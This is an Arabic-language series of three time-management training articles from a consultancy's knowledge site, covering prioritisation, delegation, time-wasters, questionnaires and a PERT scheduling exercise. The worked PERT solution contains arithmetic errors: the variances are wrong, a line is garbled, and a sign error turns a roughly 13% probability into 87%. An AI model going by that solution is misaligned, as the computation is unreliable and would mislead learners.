لماذا نحتفظ بسجل للوقت ؟ …. ربما تسأل أنت وغيرك هذا السؤال …. وربما تقول : ” أنا بالفعل أعرف أين يذهب وقتي وكيف . ” …. أو ربما تتساءل عما إذا كان سجل الوقت نفسه مضيعة للوقت ؟

قبل الإجابة على هذا السؤال دعنا نرى كيف يمكن تقدير الوقت المستخدم بالفعل في الأنشطة والتي تمارسها وذلك لمعرفة مقدار الوقت المستخدم في اليوم . وأين يذهب هذا الوقت ، مقارنة ذلك بما تتمناه ( توزيع الوقت المستهدف على كل من هذه الأنشطة والأعمال ) ، ومن ثم تصور الفرق بين ما تتمناه لتنظيم وقتك وما يتم بالفعل .

 

وفيما يلي تمرين يساعد في عملية تحليل الوقت :

تمرين

تحليل الوقت

  • يتاح لكل فرد 168ساعة أسبوعياً (7 × 24 ) . حاول تقدير الوقت الذي تستخدمه بالفعل من الـ 168 ساعة في مجموعات الأنشطة الرئيسية السابق الإشارة إليها .
  • على سبيل المثال تحديد عدد الساعات الأسبوعية المستخدمة في الوظيفة وعدد الساعات المخصصة للأعمال الشخصية .
  • ترجم النتائج التي تحصل عليها في شكل نسب مئوية في الشكل التالي :

 

علق على مدى ملاءمة هيكل توزيع الوقت المتاح على الاستخدامات الأساسية له طبقاَ لاحتياجاتك للوقت .

–

 

تمرين

صياغة الأهداف

حدد أي الأهداف التالية يعتبر أفضل من ناحية الصياغة وأيهم يمكن استخدامه في عملية الرقابة والمحاسبة لشركة بترول تعمل في مجال التكرير .

  • إن هدف بنكنا هو تحقيق أقصى عائد في العالم .
  • إن هدف البنك هو تحقيق أقصى عائد بين جميع

    البنوك في العالم .

  • إن هدف بنكنا هو تحقيق عائد قدره 30% .

4- أن هدف البنك هو تحقيق عائد قدره 30% 

     خلال العام القادم وهذا يفوق متوسط العائد المحقق

   في صناعة تكرير البترول بنسبة 2% .

 

سجل ملاحظاتك هنا

………………………………………………………..

 

ثالثاً :التخطيط وتحديد الأولويات

وهنا يمكن إثارة سؤال هام جداً وهو :

لماذا من الضرورى القيام بوظيفة تخطيط الوقت وتحديد الأولويات ؟.

     والإجابة الواضحة والمحددة جداً تتمثل في أن تخطيط الوقت يفيد فيما يلي :

  • تحديد ترتيب تنفيذ الأنشطة داخل الوظيفة ( بماذا نبدأ وبماذا ننتهي ؟)
  • تحديد الوقت المحدد لكل نشاط داخل الوظيفة .
  • التمييز والتفرقة بين الأنشطة الملحة والأنشطة الهامة .

وما نحب أن نؤكده في هذا الشأن أن الفرد لابد أن يحدد توالى أو ترتيب الأنشطة اللازمة لأداء وظيفته بمعنى أنه يحدد أي من المهام يبدأ بها والمهمة التالية والثالثة والرابعة حتى المهمة الأخيرة . وبالإضافة إلى ترتيب هذه المهام فإن من المهم تحديد الوقت المخصص لكل مهمة وهناك قاعدة في هذا المجال وهي :

  • 20%،80% ومعناها : أن 20% من وقت المدير قد يؤدى إلى تحقيق 80% من النتائج .
  • 80% ،20% ومعناها : أن 80% من وقت المدير ينفق في 20% من الأنشطة الهامة .

وهناك حقيقة أخرى تثبتها بعض الأبحاث التي تمت في بعض المنظمات والتي مدلولها :

أن الفرد منا ولو تمكن يوميا من تخصيص (10)دقائق من وقته كل صباح لتخطيط ما يجب عليه أن يؤديه في هذا اليوم مع التصميم على إتباع ذلك فإننا سوف نتمكن في نهاية الأمر بإذن الله من توفير ساعة يمكن استخدامها في نشاط مجدي (عمل إبداعي علي سبيل المثال).

 

ثم يظهر سؤال ثاني هام أيضاً وهو :

  • كيف نخطط ؟

وللإجابة على السؤال السابق يجب إتباع ما يلي :

  • التأكيد على ضرورة أن تكون عملية التخطيط للوقت كتابة ” فالحبر الضعيف خير من الذاكرة القوية ” .
  • إعداد قائمة بجميع المهام التي يجب عليك تنفيذها .
  • لا تحاول في هذه القائمة ترتيب المهام حسب أهميتها أو أولويتها , ولكن دونها تبعا لتواردها إلى ذهنك .
  • لا تنسى الأعمال الروتينية المطلوبة منك القيام بها , فإنها تستحوذ هي الأخرى على جزء غير بسيط من وقتك .
  • حاول بعد ذلك توقع الزمن الذي سوف تستغرقه عملية تنفيذ كل مهمة من هذه المهام .
  • اجمع الزمن اللازم للانتهاء من جميع المهام .
  • قارن هذا الزمن مع الزمن المتاح لك فعلا .سوف تكتشف أن الزمن اللازم لإنهاء كافة المهام يفوق كثيرا الزمن المتاح لك فعلا .
  • وهنا يجب عليك إعادة النظر في كافة المهام التي سبق لك تدوينها لغرض تعديل قائمة المهام وتصنيفها .

ويمكن ترجمة عملية التخطيط وتحديد الأولويات وتنظيم الوقت اليومي كما يلي :

 

1-       حاول أن تكتب قائمة بالأنشطة التي سوف تؤديها في اليوم .

 

2-    صنف الأنشطة التي سوف تؤديها إلى أنشطة هامة وأنشطة عاجلة ثم حدد أولويات كل منها

 

3-    حاول دائما أن تراجع مفكرتك اليومية باستمرار لمعرفة ما تم إنجازه وما لم يتم .

 

4-    قبل أداء أي عمل اسأل نفسك “لماذا أنا ” هل من الضروري أن أقوم أنا بهذا النشاط ؟ وهل من الممكن أن يقوم به شخص آخر ؟

 

5-    حاول تجميع الأنشطة المتشابهة مع بعضها مع إدارة معينة مثلا لعدم ضياع الوقت .

 

 6- حاول التركيز على الأنشطة الأساسية والرئيسية اليومية ولا تجعل الأنشطة الملحة غير الهامة تؤثر على وقتك .

 

المزايا التي يمكن تحقيقها من تحديد الأولويات :

  • تركيز القدرات البدنية و العقلية على مهمة واحدة خلال فترة زمنية معينة .
  • أن هذا الأسلوب يمكن من الانتهاء من تأدية المهام الهامة أو المستعجلة في فترة زمنية قصيرة مما يعطى الفرد دفعة نفسية قوية ورضاء عام عن الذات ” انسجام مع النفس ” _
  • تنفيذ جميع المهام التي يقاس على نتائجها معدل الأداء من قبل الرؤساء أولا بأول ” انسجام مع رؤسائك ” .
  • تحقيق الإنسجام مع المرؤوسين .
  • قلة الضغط النفسي و العصبي .
  • المحافظة على المواعيد .

ولكن يجب أن نعلم جيدا أن المدير هو الوحيد الذي يمكنه تحديد أولوياته ويجب ترتيب تلك الأولويات حسب القاعدة التالية :

  • مهام ( أ )  هامة جدا ولا يمكن تفويضها.
  • مهام ( ب ) هامة ولكن يمكن تفويضها .
  • مهام ( ج ) أعمال روتينية يجب تفويضها .

 

تمرين

تحديد الأولويات

المطلوب :

 من واقع خبرة سعادتكم في مجال عملكم الحالي ، برجاء الإجابة على الأسئلة التالية :

  • تحديد ثلاث مهام هامة جداً تهم عملك ولا يمكن تفويضها .

–

–

–

–

–

  • تحديد ثلاث مهام هامة ولكن يمكن تفويضها للمرؤوسين

–

–

–

–

–

  • تحديد ثلاث أعمال روتينية يجب أن تقوم بتفويضها .

–

–

–

–

–

 

تمرين

تحديد الأهداف والأنشطة الرئيسية للوظيفة

عزيزي المشارك :

==========

برجاء تحديد أحد الأهداف الرئيسية لوظيفتك ثم الأعمال والأنشطة التي ترى أن أداؤها سوف يحقق هذا الهدف وكذلك النتائج التي يمكن قياسها لأداء كل هذه الأنشطة.

…………………………………………………………………………

الهدف الرئيس المختار للوظيفة:

…………………………………………………………………………

ملخص عام :

…………………………………………………………………………

 

الأعمال والأنشطة الرئيسية النتائج التي يمكن قياسها
……………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………

 

 ……………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………………

 

رابعاً  : إستخدام أسلوب بيرت في تخطيط الوقت .

يقوم أسلوب بيرت في التخطيط لإدارة الوقت على الإفتراضات التالية والتي تميز المشروع عن غيره:

  • أن المشروع يتكون من عدد من الأنشطة التي تختلف في عددها من مشروع لآخر .
  • أنه يوجد ترابط قوى بين تلك الأنشطة بحيث يؤدى غياب أيا منها إلى التأثير السلبي على كفاءة المشروع ككل .
  • أن هذه الأنشطة التي يتكون منها المشروع تتسم بالتتابع المنطقي .
  • أن لكل نشاط لحظة بداية ولحظة نهاية .
  • أن الهدف النهائي للمشروع يتحقق عندما يتم الإنتهاء من جميع الأنشطة التي يتكون منها .

ويساعد أسلوب بيرت الإدارة في التخطيط لتحقيق إدارة فعالة للوقت من حيث :

 – بلورة وتحديد الأهداف المطلوب تحقيقها .

  • حصر الأنشطة التي يتضمنها البرنامج وتحديد العلاقات المنطقية بينها .
  • تحديد لحظة التحرك للتنفيذ ولحظة الانتهاء وبالتالي المساحة الزمنية التي سيجري التنفيذ خلالها .
  • تحسين كفاءة إستغلال وتخصيص الموارد المتاحة من خلال تركيز الإهتمام على العمليات الحرجة .
  • التنسيق بين مختلف مراكز العمل والتنفيذ في المشروع  وتبادل المعلومات فيما بينها .
  • تحديد مسئوليات المديرين في مواقع العمل المختلفة .

 ويتوقف نجاح إستخدام أسلوب بيرت في التخطيط على ما يلي :

  • تقسيم المشروع إلى خطوات متتابعة منطقيا ، بحيث يمثل كل منها نشاط مستقل .
  • تحديد نقطة البداية ونقطة النهاية لكل نشاط .
  • تحديد المسئولية عن كل نشاط في يد فرد أو قسم أو إدارة معينة                                                           

حساب الوقت المتوقع للنشاط :

          يتم تقدير الوقت المتوقع لكل نشاط في ظل نموذج بيرت ، من خلال تقدير ثلاثة أوقات لكل نشاط :

  • الوقت الأكثر إحتمالاً ويرمز له بالرمز ( ح ) .
  • الوقت المتشائم ويرمز له بالرمز ( ش ) .
  • الوقت المتفائل ويرمز له بالرمز ( م ) .

وعلى ذلك يمكن حساب الوقت المتوقع لكل نشاط من المعادلة التالية :

 

معادلة الوقت المتوقع :

الوقت المتوقع = ( المتفائل + 4 في الأكثر احتمالاً + المتشائم ) ÷6

 

تمرين:

بفرض أنه توفرت لديك البيانات التالية:

م النشاط ف ح ش
أ 1-2 16 18 20
ب 1-3 11 12 13
ج 1-5 7 12 17
د 2-4 2 7 12
هـ 3-6 15 18 21
و 4-6 11 14 17
ن 5-6 7 10 13

 

المطلوب:

  • حساب الوقت المتوقع لكل نشاط .
  • رسم شبكة الأعمال .
  • تحديد المسار الحرج .
  • حساب احتمال تنفيذ المشروع في 37أسبوع.

 

الحل

  • حساب الوقت المتوقع لكل نشاط :

بتطبيق المعادلة التالية والخاصة بحساب الوقت المتوقع

     الوقت المتوقع = ( المتفائل + 4 في الأكثر احتمالاً + المتشائم ) ÷6

يمكن إيجاد الوقت المتوقع لكل نشاط كما يوضح ذلك الجدول التالي :

           

م النشاط الوقت المتوقع
أ 1-2 18
ب 1-3 12
ج 1-5 12
د 2-4 7
هـ 3-6 18
و 4-6 14
ن 5-6 10

 

2- رسم شبكة الأعمال .

 

 

 

3-تحديد المسار الحرج .

المسار الأول : أ ، د ، و

            = 18+ 7 + 14 = 39 أسبوع .

المسار الثاني : ب ، هـ

           = 12 + 18      = 30 أسبوع .

المسار الثاني : جـ ، ن

          = 12 + 10       = 22 أسبوع .

 

وحيث أن المسار الحرج هو المسار الذي له أطول وقت على شبكة الأعمال

إذاً فإن المسار الأول ( أ ، د ، و ) هو المسار الحرج وطوله 39 أسبوع .

 

4- حساب احتمال تنفيذ المشروع في 37أسبوع.

          لحساب إحتمال تنفيذ المشروع في وقت معين تستخدم المعادلة التالية :

 

إحتمال تنفيذ المشروع في وقت معين

                     الوقت المطلوب – وقت المسار الحرج

              =    _________________________

                     الإنحراف المعياري لوقت المسار الحرج

ولحساب الإنحراف المعياري لوقت المسار الحرج يتبع ما يلي :

  • يتم حساب التباين لأنشطة المشروع بإستخدام المعادلة التالية :

تباين النشاط = ( الوقت المتشائم – الوقت المتفائل ) ÷ 6 )2

 

ويوضح الجدول التالي تباين الأنشطة :

م النشاط التباين
أ 1-2 0.8
ب 1-3 0.57
ج 1-5 1.3
د 2-4 1.3
هـ 3-6 1.0
و 4-6 1.0
ن 5-6 1.0

 

  • حساب مجموع تباين أنشطة المسار الحرج

= 0.8 + 1.3 + 1.0 = 3.1

  • حساب الإنحراف المعياري للمسار الحرج وهو يساوي الجزر التربيعي لتباين أنشطة المسار الحرج :
  • الإنحراف المعياري =  1      = 1.76

إحتمال تنفيذ المشروع في 37 أسبوع

                   =       ( 37 – 39 ) ÷  1.76

              = 1.14

          يتم البحث في جدول Z تحت Z  تسوى 1.1 والبحث في الأعمدة تحت رقم 0.04 نجد أنها تساوي 0.8729 وهذا يعني أن إحتمال تنفيذ المشروع في 37 أسبوع يساوي 87% .

 *   *   *

انتهت بحمد الله المقالة الثالثة لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ. د/ صبرى شحاتة – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-03/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ.د / صبرى شحاتة – المقالة الثانية https://cameknowledge.camecenter.com/articles/time_management-02/ https://cameknowledge.camecenter.com/articles/time_management-02/#respond Sat, 01 Apr 2023 13:00:14 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10304 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الثانية سادساً :أهم العوامل المضيعة الوقت : يقصد بالعوامل المهدرة أو المضيعة للوقت تلك العوامل التي تحول دون أداء الأعمال الهامة والتي لها قيمة عالية . كما يمكن تعريفها بأنها الأعمال التي يستهلك فيها كمية كبيرة من الوقت والتي لا تتناسب مع القيمة […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ.د / صبرى شحاتة – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الثانية

سادساً :أهم العوامل المضيعة الوقت :

يقصد بالعوامل المهدرة أو المضيعة للوقت تلك العوامل التي تحول دون أداء الأعمال الهامة والتي لها قيمة عالية . كما يمكن تعريفها بأنها الأعمال التي يستهلك فيها كمية كبيرة من الوقت والتي لا تتناسب مع القيمة الناتجة من تنفيذ هذه الأعمال . أي تساهم مساهمة محدودة في تحقيق الهدف النهائي مثال لذلك المقاطعات المتعددة الاجتماعات المطولة . الأعمال الروتينية والتي يمكن تفويضها للغير . الهدف هو وضع هذه العوامل التي تسرق الوقت تحت المراقبة .

وحيث أن العملية الإدارية تتكون من التخطيط والتنظيم والتنفيذ والرقابة ، وهى تحتوى على مهمة إدارة الوقت ، وعليه فإن إدارة الوقت هي في حد ذاتها عملية تتكون من مهام التخطيط والتنظيم والرقابة ، وبالتالي فهي تستلزم وجود مهارة التخطيط والتنظيم لاستخدامها بفعالية ، وكذلك مهارة الرقابة على استخدامها .

    ويلاحظ أن بعض الإداريين أكثر فعالية من غيرهم لتوفر الخصائص التالية :

  • القدرة على التنفيذ الفوري ،إذ أن 80% من الأعمال الواردة إلى مكتب الإداري تتم معالجتها فورا .
  • القدرة على التفويض ، فالإداري الجيد يحيط نفسه بموظفين أكفاء .
  • الرغبة في القيام بدعم وتشجيع وإظهار الاهتمام بالمرؤوسين .
  • القدرة على فصل الغث من السمين ، فالإداري الذي يمكنه ذلك يتجنب الوقوع في فخ التفاصيل البسيطة وغير المفيدة .
  • رفض تضييع الوقت في القيام بالمهام المستحيلة ، فالإداري الفعال يستطيع أن يعترف بالهزيمة وينتقل إلى أشياء أكبر من غيرها .
  • القدرة على توقع مكانته في المستقبل .
  • لديه الإحساس بالوقت والتوقيت والشعور بالحقيقة .
  • القدرة على تحديد مواعيد إنهاء معقولة لكل المشروعات .

 

أهم مضيعات الوقت لدى المديرين :

     على الرغم من ضياع الوقت بسهولة ، فإن الكثيرين يتجاهلون ذلك وينكرونه على أنفسهم جاهلين أنهم يقومون بذلك غير متعمدين ، وفيما يلي بعض الأمثلة الدالة على ذلك من الحياة اليومية العملية :

  • قيام بعض الأفراد بنصف المهام التي خطط لها مسبقا أن تتم في اليوم دون معرفة السبب .
  • التساؤل المستمر من كثير من الأفراد ماذا حدث لليوم ، لا توجد بركة في الوقت .
  • تكاثر الأعمال المطلوب إنجازها في مواعيدها المحددة ولا يوجد الوقت الكافي .
  • تراكم الموضوعات المعلقة والتي لم يتخذ بشأنها أي قرارات لدى كثير من المديرين .
  • فقدان العديد من المستندات المهمة في بعض المنظمات في وقت تكون هناك الحاجة ماسة إليها.
  • البحث في أماكن خاطئة عن مستندات معينة لعدم تذكر أين تم حفظها .

     ولقد ركزت العديد من الدراسات على بيان أهم المعوقات أو مضيعات الوقت والتي تؤثر سلبا على الإدارة الفعالة للوقت ، فيرى تومس ميلر Thomas Miller  أن هناك العديد من مضيعات الوقت تمنع من تحقيق الأهداف بشكل فعال ويمكن تصنيفها على النحو التالي :-

     1- مضيعات للوقت تتعلق بوظيفة التخطيط مثل : عدم وجود أهداف وتغير الأولويات  ، ومحاولة القيام بأمور كثيرة في وقت واحد .

     2- مضيعات للوقت تتعلق بوظيفة التنظيم مثل : عدم التنظيم الشخصي ، وازدواجية الجهد ، وتعدد الرؤساء ، وخلط المسئولية والسلطة ، ….

    3- مضيعات للوقت تتعلق بوظيفة التوجيه مثل : التفويض غير الفعال ، ونقص الدافع ونقص التنسيق في العمل ، ….

    4- مضيعات للوقت تتعلق بوظيفة الرقابة مثل : المقاطعات التلفونية والزيارات المفاجأة والمعلومات غير الكاملة ، ونقص الانضباط الذاتي ، وفقدان المعايير ،….

   5- مضيعات للوقت تتعلق بوظيفة الاتصالات مثل : فقدان الاتصال ، وكثرة الاجتماعات والاتصالات الزائدة ، وكثرة المذكرات الداخلية ،….

   6-مضيعات للوقت تتعلق بوظيفة صنع القرارات مثل : التأجيل أو التردد ، الحصول على كل المعلومات ، القرارات السريعة ، ….

وفيما يلي عرض لأهم مضيعات الوقت لدى طبقة الإدارة ( مستخلصة من نتائج عدد من الدراسات التي أجريت في هذا الشأن ).

  • المكالمات الهاتفية غير المفيدة .
  • المقاطعات من الزوار .
  • التنظيم غير الجيد للاجتماعات .
  • الموضوعات الفجائية التي لا تدخل في الحسبان .
  • عدم الاهتمام بوضع أهداف يوميه.
  • عدم الاهتمام بتحديد أولويات للعمل اليومي .
  • عدم التنظيم الجيد للأوراق و الموضوعات داخل المكتب .
  • الانشغال في التفاصيل و الأعمال الروتينية .
  • التحديد غير الواقعي للوقت الذي تحتاجه بعض الموضوعات .
  • عدم وضوح التعليمات و إجراءات العمل .
  • نقص المعلومات و البيانات و عدم دقتها .
  • مشاغل المراسلات .
  • الميل إلى عدم إعطاء ردود حاسمة أو جازمة .
  • الانشغال في أكثر من موضوع في وقت واحد .

 

إستقصاءعوامل ضياع الوقت

فيما يلي مجموعة من العبارات ، والتي يمثل كل منها عامل من العوامل المضيعة للوقت .

 المطلوب : قراءة كل عبارة بدقة ووضع دائرة حول الدرجة التي تعكس مدى إنطباق مضمون هذه العبارة عليكم أثناء إدارتكم لوقت العمل الرسمي .

م أهم عوامل ضياع الوقت موافق جداً موافق لا أحدد غير موافق غير موافق مطلقاً
1 عدم وضع أهداف . 5 4 3 2 1
2 عدم وجود خطة يومية . 5 4 3 2 1
3 الأولويات غير واضحة . 5 4 3 2 1
4 ترك أعمال قبل انتهائها . 5 4 3 2 1
5 التعامل مع الأزمات . 5 4 3 2 1
6 عدم وجود مواعيد للتنفيذ يلتزم بها . 5 4 3 2 1
7 تحديد أزمنة غير واقعية للتنفيذ . 5 4 3 2 1
8 إنني غير منظم . 5 4 3 2 1
9 إزدواج في المجهود 5 4 3 2 1
10 عدم وضوح السلطة . 5 4 3 2 1
11 عدم وضوح المسئولية . 5 4 3 2 1
12  تعدد الرؤساء لي . 5 4 3 2 1
13 الانشغال في الأعمال الروتينية 5 4 3 2 1
14 عدم التفويض الفعال .          
15 عدم وجود دافعية . 5 4 3 2 1
16 عدم إدارة المنازعات بشكل فعال . 5 4 3 2 1
17 عدم التكيف مع التغير . 5 4 3 2 1
18 كثرة التليفونات غير الضرورية . 5 4 3 2 1
19 الزيارات غير المخططة . 5 4 3 2 1
20 إفتقار الرقابة الذاتية . 5 4 3 2 1
21 كثرة الأخطاء . 5 4 3 2 1
22 عدم القدرة على رفض طلب للغير . 5 4 3 2 1
23 عدم وجود معايير للأداء . 5 4 3 2 1
24 عدم توافر المعلومات الكاملة . 5 4 3 2 1
25 الاجتماعات . 5 4 3 2 1
26 عدم وضوح الاتصالات . 5 4 3 2 1
27 الفشل في الاستماع . 5 4 3 2 1
28 المقابلات . 5 4 3 2 1
29 كثرة تعديل القرارات 5 4 3 2 1
30 طول وقت اتخاذ القرار . 5 4 3 2 1
31 البحث عن كل الحقائق قبل اتخاذ القرار 5 4 3 2 1
32 كثرة اللجان 5 4 3 2 1
33 البحث عن الكمال . 5 4 3 2 1

 

تفريغ النتائج

برجاء نقل الأرقام المقابلة للإجاباتكم كل في مكانه في الجداول التالية ، ثم إستخراج حاصل الجمع لكل جدول :

1- وظيفة التخطيط

رقم العبارة الدرجة
1  
2  
3  
4  
5  
6  
7  
المجموع  

 

2- وظيفة التنظيم

رقم العبارة الدرجة
8  
9  
10  
11  
12  
المجموع  

 

3- وظيفة التوجيه

رقم العبارة الدرجة
13  
14  
15  
16  
17  
المجموع  

 

 

4- وظيفة الرقابة

رقم العبارة الدرجة
18  
19  
20  
21  
22  
23  
24  
المجموع  

 

5- وظيفة الإتصالات

رقم العبارة الدرجة
25  
26  
27  
28  
المجموع  

 

6- وظيفة اتخاذ القرارات

رقم العبارة الدرجة
29  
30  
31  
32  
33  
المجموع  

 

سابعاً : أهم مبادئ إدارة الوقت .

    تتمثل أهم مبادئ إدارة الوقت فيما يلي :

  • مبدأ تحليل الوقت : فتحليل الوقت يعتبر من المتطلبات الضرورية لإدارة الوقت . وكأساس لهذا التحليل يجب الاحتفاظ بجدول يومي للنشاطات التي يقوم بها المدير – أيا كان مستواه التنظيمي – لتسجيلها عبر فترات من 15 إلى 30 دقيقة ولمدة أسبوعين متتاليين .
  • مبدأ التخطيط اليومي . إن معظم الكتاب يتفقون على أن الخطط ينبغي أن تعد يوميا ، وأن تتألف من قائمة من الأعمال وجدول زمني لإنجازها ، ويبدو أن كل الكتاب يتفقون على أن تعد الخطط  بعد انتهاء عمل اليوم أو قبل ابتداء العمل في اليوم التالي ، بحيث تتلاءم مع الأهداف القصيرة الأجل ومع المهمات. وقد لاحظ معظم الكتاب أن التخطيط غير الملائم هو السبب الأساسي للإدارة السيئة للوقت . فالتخطيط الفعال سيقضى على مشكلة تضييع الوقت ، والتوصيات لإعداد الخطط تأخذ أشكالا مختلفة وذلك بناءاً على الكاتب نفسه .
  • مبدأ تخصيص الوقت حسب الأولوية . بمعنى أنه يجب تخصيص الوقت المتوافر في يوم العمل لإنجاز تلك الأعمال التي تعتبر ذات أولوية عالية ، ونقوم بذلك بعد أن نكتب الأعمال المطلوب القيام بها في الخطة اليومية ، وذلك حسب أولوياتها وتخصيص الوقت المتاح لإنجازها .
  • مبدأ المرونة : يجب أن تكون المرونة من الأمور الرئيسية التي تؤخذ في الاعتبار عند اختيار الخطط فيما يتعلق باستخدام الوقت الشخصي ، أي أنه يجب ألا يتم الإفراط أو التقليل من الوقت المطلوب . إن أي شخص في موقع إداري مهم يقوم بجدولة أكثر من نصف يومه يكون مغاليا .فعلى الأقل يمكن أن نتوقع أن نصف وقت المدير سيقضيه في معالجة الأزمات والطوارئ وضغوط العمل اليومي خاصة في المنظمات الكبيرة .
  • مبدأ التفويض : يعتبر تفويض كل الأعمال الممكنة بما يتناسب مع حدود عمل المدير أمر ضروري لتوفير الوقت المطلوب للقيام بالمهام الإدارية . فالأعمال التي يمكن تفويضها تعطى المدير وقتا حراً يستطيع في خلاله أن يقوم بأعمال أخرى لا يمكن لغيره القيام بها .
  • مبدأ تقسيم النشاط (العمل ) : فكل الأعمال المتشابهة بطبيعتها والتي تتطلب بيئة وموارد مماثلة لإنجازها ينبغي أن تجمع معا في أقسام من خطة العمل اليومية .
  • مبدأ التحكم في المعوقات : فمن الضروري جدا لإدارة الوقت أن يكون هناك نوع من التحكم في النشاطات وترتيبها بحيث تقل عدد ومدة المقاطعات غير الضرورية .
  • مبدأ وجود نظم واضحة ومحددة للعمل : حيث أن وجود نظم واضحة ومحددة للعمل ، وبالتالي تحديد دقيق للمسئوليات والسلطات وتنظيم العلاقات بين بين المرؤوسين فيما بينهم البعض وبينهم وبين الرئيس الأعلى ، من شأنه أن يساعد في توفير وقت المدير وتفعيل إدارته
  • مبدأ تنفيذ الخطة والمتابعة : إن تنفيذ الخطة اليومية والمتابعة اليومية ضروريان لإدارة الوقت، ولا يمكن إنجاز وظيفة الرقابة إلا إذا كان هناك خطة أو معيار تتم مقارنة النتائج المتوقعة به . فمتابعة تعديل الخطة والجدول والأداء بما يتلاءم مع الأهداف والظروف المحيطة هي الرقابة بذاتها .

إستقصاء

مبادئ إدارة الوقت

فيما يلي مجموعة من العبارات ،تعكس كل منها مبدأ من المبادئ الأساسية لإدارة الوقت ، والتي يجب مراعاتها من قبل المديرين عند إدارة وقت العمل الرسمي .

 المطلوب : قراءة كل عبارة بدقة وتحديد ما إذا كانت ظروف العمل تسمح بتطبيق مضمون هذه العبارة عليكم أثناء إدارتكم لوقت العمل الرسمي ، وكيفية التطبيق في مجال عملكم ؟ .

م العبارات دائما أحيانا نادراً كيفية التطبيق
1 أقوم بتحليل وقت العمل بغرض تحديد الأنشطة المطلوب القيام بها يومياً .

 

        
2 يتم إعداد جدول زمني يوضح الأنشطة والزمن اللازم لتنفيذها يومياً .

 

        
3 يتم توزيع وقت العمل الرسمي على الأنشطة حسب أولوياتها .

 

        
4 يتم تخطيط الوقت بحيث يسمح بالقيام بالأعمال الطارئة أو المفاجئة .

 

        
5 أقوم بتفويض جميع الأعمال التي يمكن تفويضها .        
6 يتم تجميع الأعمال الخاصة بالموضوعات المتشابهة مع بعضها البعض في مجموعات .        
7 يوجد نوع من التحكم في النشاطات وترتيبها بحيث تقل عدد ومدة المقاطعات غير الضرورية .        
8 توجد نظم واضحة ومحددة للعمل بما يسهل تحديد دقيق للمسئوليات والسلطات وتنظيم العلاقات بين المرؤوسين فيما بينهم البعض وبينهم وبين الرئيس الأعلى .        
9 يتم  تنفيذ الخطة اليومية للإستفادة من الوقت الرسمي ومتابعتها .

 

        

 

 *   *   *

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمى لإدارة الوقت

بقلم الأستاذ الدكتور / صبرى شحاته   أستاذ إدارة الأعمال بكلية التجارة جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – إدارة الوقت -بقلم أ.د / صبرى شحاتة – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/time_management-02/feed/ 0 سلسلة مقالات – إدارة الوقت -بقلم أ.د / صبرى شحاتة – المقالة الأولى https://cameknowledge.camecenter.com/articles/time_management-01/ https://cameknowledge.camecenter.com/articles/time_management-01/#respond Sat, 01 Apr 2023 12:53:02 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10302 سلسلة مقالات – إدارة الوقت بقلم أ. د / صبرى شحاتة المقالة الأولى مفهوم إدارة الوقت وأهم المبادئ التي تقوم عليها   أولاً : أهم المفاهيم الخاصة بإدارة الوقت . يقصد  بإدارة الوقت من وجهة النظر الإدارية : ” استخدام وقت العمل الرسمي للتركيز على الأنشطة التي تجعل من المدير قائدا فعالا ، ومن المسئولين […]

The post سلسلة مقالات – إدارة الوقت -بقلم أ.د / صبرى شحاتة – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة الوقت

بقلم أ. د / صبرى شحاتة

المقالة الأولى

مفهوم إدارة الوقت وأهم المبادئ التي تقوم عليها

 

أولاً : أهم المفاهيم الخاصة بإدارة الوقت .

يقصد  بإدارة الوقت من وجهة النظر الإدارية : ” استخدام وقت العمل الرسمي للتركيز على الأنشطة التي تجعل من المدير قائدا فعالا ، ومن المسئولين الآخرين أفراداً منجزين للأعمال بكفاءة وفعالية تعود بالنفع عليهم وعلى منظماتهم .

 

كما تعرف إدارة الوقت على أنها: إحدى العمليات التي يستطيع الفرد بها أن ينجز المهام والأهداف التي تمكنه من أن يكون فعالا في عمله .

 

فإدارة الوقت تعنى إدارة الذات ، بمعنى أن يدرك الفرد – المدير- كيف يستخدم الوقت لتحقيق أهدافه بطريقة أذكى وبجهد أقل .

 

  وحتى يتضح لنا أهمية الوقت يجب أن نضع في أذهاننا ما يلي :

  • الوقت مورد نادر لا يمكن تحويله بغض النظر عما يحدث .
  • الوقت لا يمكن شراؤه .
  • والوقت لا ينتظر أحد حتى يستخدمه فإما أن يتركه يمر سدي أو يستخدمه
  • والوقت له تكلفة يمكن حسابها ، وتختلف قيمتها من مدير لآخر ومن نشاط لآخر .
  • والمدير الذي يسئ استخدام وقته ؛ فغالباً لا يهدر وقته فقط وإنما يهدر وقت مرءوسيه أيضا .
